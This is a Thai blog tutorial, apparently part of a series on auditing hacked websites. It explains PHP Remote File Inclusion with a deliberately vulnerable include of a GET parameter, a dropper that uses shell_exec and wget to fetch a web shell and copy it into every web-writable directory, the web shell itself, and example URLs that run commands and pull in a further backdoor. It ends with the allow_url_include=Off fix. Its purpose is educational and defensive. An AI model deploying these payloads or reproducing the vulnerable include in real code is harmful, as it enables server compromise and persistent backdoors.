    ก็สามารถกู้ไฟล์เดิมกลับมาได้ครับ

    ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #10

    ในบทความนี้ จะพูดถึงช่องโหว่ที่เรียกว่า Remote File Inclusion หรือ RFI [1]

    จาก วิธีตรวจสอบเว็บไซต์ที่โดน Hack #9 ที่พูดถึง ช่องโหว่ประเภท XSS หรือ Cross-site Scripting ซึ่งอาศัยข้อผิดพลาดของการเขียนโปรแกรม ที่ทำให้ Hacker สามารถแทรก JavaScript ซึ่งจะได้ข้อมูลของ Web Browser และสามารถเปิดโอกาศให้ ผู้ใช้ของระบบ สามารถเขียน JavaScript ลงไปใน Database สร้างความเป็นไปได้ในการขโมย Cookie ID ของ Admin

    แต่ RFI เป็นช่องโหว่ ที่เกิดจากการเขียนโค๊ด ที่เปิดให้มีการ Include ไฟล์จากภายนอก จาก Internet ได้ ซึ่ง เปิดโอกาศให้ Hacker สามารถทำได้ตั้งแต่ เรียกไฟล์ /etc/passwd มาดูก็ได้ หรือ แม้แต่เอาไฟล์ Backdoor มาวางไว้ เรียกคำสั่งต่างๆได้เลยทีเดียว

    โปรดพิจารณาตัวอย่างต่อไปนี้

    ไฟล์แรก form.html มีรายละเอียดดังนี้

    <form method="get" action="action.php">
       <select name="COLOR">
          <option value="red.inc.php">red</option>
          <option value="blue.inc.php">blue</option>
       </select>
       <input type="submit">
    </form>

    ให้ผู้ใช้ เลือกสี red หรือ blue แล้วส่งค่าดังกล่าว ผ่านตัวแปร COLOR ไปยัง action.php ผ่านวิธีการ GET

    ไฟล์ที่สอง action.php มีรายละเอียดดังนี้

    <?php
       if (isset( $_GET['COLOR'] ) ){
          include( $_GET['COLOR'] );
       }
    ?>

    โดยหวังว่า จะได้ Include red.inc.php หรือ blue.inc.php ตามที่กำหนดไว้ เช่น

    http://localhost/rfi/action.php?COLOR=red.inc.php

    แต่ เป็นช่องโหว่ ที่ทำให้ Hacker สามารถ แทรกโค๊ดอันตรายเข้ามาได้ ผ่านตัวแปร COLOR ได้

    หาก Hacker ทราบว่ามีช่องโหว่ ก็อาจจะสร้างไฟล์ Backdoor ชื่อ makeremoteshell.php เพื่อให้แทรกผ่านการ include ผ่านตัวแปร COLOR ดังนี้

    <?php
    $output=shell_exec("
        wget http://localhost/rfi/rfi.txt -O /tmp/rfi.php
        find /var/www -user www-data -type d -exec cp /tmp/rfi.php {} \;
        find /var/www -name 'rfi.php'
    ");
    echo nl2br($output);
    ?>

    ซึ่ง จะทำงานผ่าน function shell_exec ซึ่งสามารถเรียกคำสั่งของ Shell Script ได้ โดย ไปดึงไฟล์จาก http://localhost/rfi/rfi.txt (สมมุติว่าเป็น Website ของ Hacker ที่จะเอาไฟล์ Backdoor ไปวางไว้) แล้ว เอาไฟล์ดังกล่าว ไปเก็บ /tmp/rfi.php และจากนั้น ก็ค้นหาว่า มี Directory ใดบ้างที่ Web User ชื่อ www-data เขียนได้ ก็ copy /tmp/rfi.php ไปวาง หลังจากนั้น ก็แสดงผลว่า วางไฟล์ไว้ที่ใดได้บ้าง

    ไฟล์ rfi.txt ที่จะถูกเปลี่ยนเป็น rfi.php นั้น มีรายละเอียดดังนี้

    <?php
    $c = $_GET['c'];
    $output = shell_exec("$c");
    echo "<pre>" . nl2br($output) . "</pre>";
    ?>

    ซึ่ง จะทำให้สามารถ ส่งคำสั่ง ผ่านตัวแปร c ไปให้ Backdoor rfi.php ทำงานได้เลย
    จากนั้น ก็เรียก

    http://localhost/rfi/action.php?COLOR=http://localhost/rfi/makeremoteshell.php

    ผลที่ได้คือ

    rfi01

    เป็นผลให้ เกิดการวาง Backdoor rfi.php ข้างต้นในที่ต่างๆที่ Web User เขียนได้แล้ว จากนั้น Hacker ก็สามารถ เรียกใช้ ด้วย URL ต่อไปนี้ เพื่อส่งคำสั่ง ls -l ได้เลย

    http://localhost/ccpr/images/stories/rfi.php?c=ls -la

    ผลที่ได้คือ

    rfi02

    หรือ แม้แต่ เอา Backdoor อื่่นๆไปวางด้วย URL

    http://localhost/ccpr/images/stories/rfi.php?c=wget http://localhost/rfi/miya187.txt -O /var/www/ccpr/images/stories/miya187.php

    และเรียกใช้ งาน Backdoor อันตรายอย่างนี้ได้เลยทีเดียว

    http://localhost/ccpr/images/stories/miya187.php

    ผลที่ได้คือ

    rfi03

    ซึ่ง อันตรายอย่างยิ่ง

    วิธีการเดียวที่จะป้องกันได้คือ การปิดค่า allow_url_include ของ PHP ดังนี้

    allow_url_include=Off

    ก็ทำให้ PHP สามารถ Include ได้เฉพาะ Path ที่กำหนดเท่านั้น ไม่สามารถเรียกจากภายนอกได้

    ขอให้โชคดี

     Reference

    [1] Wikipedia:File Inclusion Vulnerability <http://en.wikipedia.org/wiki/File_inclusion_vulnerability>